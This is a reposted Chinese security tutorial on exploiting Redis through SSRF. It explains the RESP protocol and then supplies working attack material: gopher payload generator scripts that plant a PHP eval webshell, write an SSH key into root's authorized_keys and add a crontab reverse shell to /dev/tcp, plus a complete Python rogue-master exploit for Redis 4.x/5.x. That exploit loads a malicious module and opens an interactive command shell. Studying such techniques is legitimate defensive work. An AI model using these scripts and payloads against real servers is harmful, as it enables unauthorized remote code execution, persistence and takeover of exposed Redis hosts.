前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Redis中SSRF的利用

Redis中SSRF的利用

作者头像
FB客服
发布2023-02-24 12:57:22
5080
发布2023-02-24 12:57:22
举报
文章被收录于专栏:FreeBufFreeBuf

SSRF介绍

SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统。这里我们要介绍的是关于redis中SSRF的利用,如果有什么错误的地方还请师傅们不吝赐教/握拳。

前置知识

文章中的数据包构造会涉及到redis的RESP协议,所以我们这里先科普一下,了解RESP协议的师傅可以跳过=。=

RESP协议

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。

RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。

RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。

RESP在Redis中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
  2. 服务器根据命令实现回复一种RESP类型。

在RESP中,某些数据的类型取决于第一个字节: 对于Simple Strings,回复的第一个字节是+ 对于error,回复的第一个字节是- 对于Integer,回复的第一个字节是: 对于Bulk Strings,回复的第一个字节是$ 对于array,回复的第一个字节是*

此外,RESP能够使用稍后指定的Bulk StringsArray的特殊变体来表示Null值。

在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

我们用tcpdump来抓个包来测试一下

代码语言:javascript
复制
tcpdump port 6379 -w ./Desktop/1.pcap

redis客户端中执行如下命令

代码语言:javascript
复制
192.168.163.128:6379> set name testOK192.168.163.128:6379> get name"test"192.168.163.128:6379>

抓到的数据包如下:

hex转储看一下:

正如我们前面所说的,客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。

我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$4代表字符串的长度,0d0a\r\n表示结束符;+OK表示服务端执行成功后返回的字符串

Redis配合gopher协议进行SSRF

概述

Gopher协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了。

Gopher协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

利用条件

代码语言:javascript
复制
能未授权或者能通过弱口令认证访问到Redis服务器。

利用

redis常见的SSRF攻击方式大概有这几种:

  1. 绝对路径写webshell
  2. 写ssh公钥
  3. 写contrab计划任务反弹shell

下面我们逐个实现。

绝对路径写webshell

这个方法比较常用,也是用得最多的=。=

构造payload-构造redis命令

代码语言:javascript
复制
flushallset 1 '<?php eval($_GET["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave

写了一个简单的脚本,转化为redis RESP协议的格式

代码语言:javascript
复制
import urllibprotocol="gopher://"ip="192.168.163.128"port="6379"shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall",     "set 1 {}".format(shell.replace(" ","${IFS}")),     "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save"     ]if passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):    CRLF="\r\n"    redis_arr = arr.split(" ")    cmd=""    cmd+="*"+str(len(redis_arr))    for x in redis_arr:        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")    cmd+=CRLF    return cmd
if __name__=="__main__":    for x in cmd:        payload += urllib.quote(redis_format(x))    print payload(向右滑动,查看更多)

生成payload后,用curl打一波:

执行成功,我们看一波shell是否写入成功:

成功写入。

写ssh公钥

如果.ssh目录存在,则直接写入~/.ssh/authorized_keys,如果不存在,则可以利用crontab创建该目录。

构造payload

构造redis命令

代码语言:javascript
复制
flushallset 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali'config set dir /root/.ssh/config set dbfilename authorized_keyssave(向右滑动,查看更多)

转化为redis RESP协议的格式。

PS:将第一个脚本改一下。

代码语言:javascript
复制
filename="authorized_keys"ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali\n\n"path="/root/.ssh/"

(向右滑动,查看更多)

生成payload:

curl打一波:

我们来查看一波是否成功写入:

成功写入,尝试连接:

成功连接。

利用contrab计划任务反弹shell

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同

Centos的定时任务文件在/var/spool/cron/<username>,Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>,Centos和Ubuntu均存在的(需要root权限)/etc/crontabPS:高版本的redis默认启动是redis权限,故写这个文件是行不通的。

构造payload

构造redis的命令如下:

代码语言:javascript
复制
flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave(向右滑动,查看更多)

转化为redis RESP协议的格式。

PS:将第一个脚本改一下。

代码语言:javascript
复制
reverse_ip="192.168.163.132"reverse_port="2333"cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"

(向右滑动,查看更多)

生成一波,尝试反弹shell:

成功反弹shell。

Redis4.x/5.x从SSRF到RCE

介绍

redis 4.x/5.x RCE是由LC/BC战队队员Pavel Toporkovzeronights 2018上提出的基于主从复制的redis rce

利用

利用条件:

  • 能未授权或者能通过弱口令认证访问到Redis服务器

主从复制

主从复制的概述:

建立主从复制,有3种方式:

  1. 配置文件写入slaveof <master_ip> <master_port>
  2. redis-server启动命令后加入 --slaveof <master_ip> <master_port>
  3. 连接到客户端之后执行:slaveof <master_ip> <master_port>

PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作。

我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380

代码语言:javascript
复制
redis-server /etc/redis/redis.conf redis-server /etc/redis/redis6380.conf

我们把master_ip设置为127.0.0.1,master_port为6380:

代码语言:javascript
复制
root@kali:/usr/bin# redis-cli -p 6379127.0.0.1:6379> SLAVEOF 127.0.0.1 6380OK127.0.0.1:6379> get test(nil)127.0.0.1:6379> exitroot@kali:/usr/bin# redis-cli -p 6380127.0.0.1:6380> get test(nil)127.0.0.1:6380> set test "test"OK127.0.0.1:6380> get test"test"127.0.0.1:6380> exitroot@kali:/usr/bin# redis-cli -p 6379127.0.0.1:6379> get test"test"(向右滑动,查看更多)

执行一波,我们可以明显看到数据达到了同步的效果。

如果我们想解除主从关系可以执行SLAVEOF NO ONE。

攻击流程

  • 配置一个我们需要以master身份给slave传输so文件的服务,大致流程如下: PING 测试连接是否可用 +PONG 告诉slave连接可用 REPLCONF 发送REPLCONF信息,主要是当前实例监听端口 +OK 告诉slave成功接受 REPLCONF 发送REPLCONF capa +OK 告诉slave成功接受 PSYNC <rundi> <offest> 发送PSYNC 如下图所示:
  • 将要攻击的redis服务器设置成我们的slave
代码语言:javascript
复制
SLAVEOF ip port
  • 设置RDB文件 PS:这里注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用
代码语言:javascript
复制
config set dir pathconfig set dbfilename exp.so
  • 告诉slave使用全量复制并从我们配置的Rouge Server接收module:
代码语言:javascript
复制
+FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>

(向右滑动,查看更多)

  • PS:其中<runid>无要求,不过长度一般为40,<offest>一般设置为1。

exp

贴一下exp,写得比较丑,为了节省文章的篇幅其它功能我就没有加上去了,有需要的师傅可以自行添加=。=

代码语言:javascript
复制
import socketimport time
CRLF="\r\n"payload=open("exp.so","rb").read()exp_filename="exp.so"
def redis_format(arr):    global CRLF    global payload    redis_arr=arr.split(" ")    cmd=""    cmd+="*"+str(len(redis_arr))    for x in redis_arr:        cmd+=CRLF+"$"+str(len(x))+CRLF+x    cmd+=CRLF    return cmd
def redis_connect(rhost,rport):    sock=socket.socket()    sock.connect((rhost,rport))    return sock
def send(sock,cmd):    sock.send(redis_format(cmd))    print(sock.recv(1024).decode("utf-8"))
def interact_shell(sock):    flag=True    try:        while flag:            shell=raw_input("\033[1;32;40m[*]\033[0m ")            shell=shell.replace(" ","${IFS}")            if shell=="exit" or shell=="quit":                flag=False            else:                send(sock,"system.exec {}".format(shell))    except KeyboardInterrupt:        return

def RogueServer(lport):    global CRLF    global payload    flag=True    result=""    sock=socket.socket()    sock.bind(("0.0.0.0",lport))    sock.listen(10)    clientSock, address = sock.accept()    while flag:        data = clientSock.recv(1024)        if "PING" in data:            result="+PONG"+CRLF            clientSock.send(result)            flag=True        elif "REPLCONF" in data:            result="+OK"+CRLF            clientSock.send(result)            flag=True        elif "PSYNC" in data or "SYNC" in data:            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF            result += "$" + str(len(payload)) + CRLF            result = result.encode()            result += payload            result += CRLF            clientSock.send(result)            flag=False
if __name__=="__main__":    lhost="192.168.163.132"    lport=6666    rhost="192.168.163.128"    rport=6379    passwd=""    redis_sock=redis_connect(rhost,rport)    if passwd:        send(redis_sock,"AUTH {}".format(passwd))    send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))    send(redis_sock,"config set dbfilename {}".format(exp_filename))    time.sleep(2)    RogueServer(lport)    send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))    interact_shell(redis_sock)(向右滑动,查看更多)

效果图:

精彩推荐

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-02-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SSRF介绍
  • 前置知识
    • RESP协议
    • Redis配合gopher协议进行SSRF
      • 概述
        • 利用条件
          • 利用
            • 绝对路径写webshell
              • 构造payload-构造redis命令
            • 写ssh公钥
              • 构造payload
              • (向右滑动,查看更多)
            • 利用contrab计划任务反弹shell
              • 构造payload
              • (向右滑动,查看更多)
              • 介绍
              • 利用
              • 主从复制
              • 攻击流程
              • (向右滑动,查看更多)
              • exp
          • Redis4.x/5.x从SSRF到RCE
          相关产品与服务
          云数据库 Redis
          腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档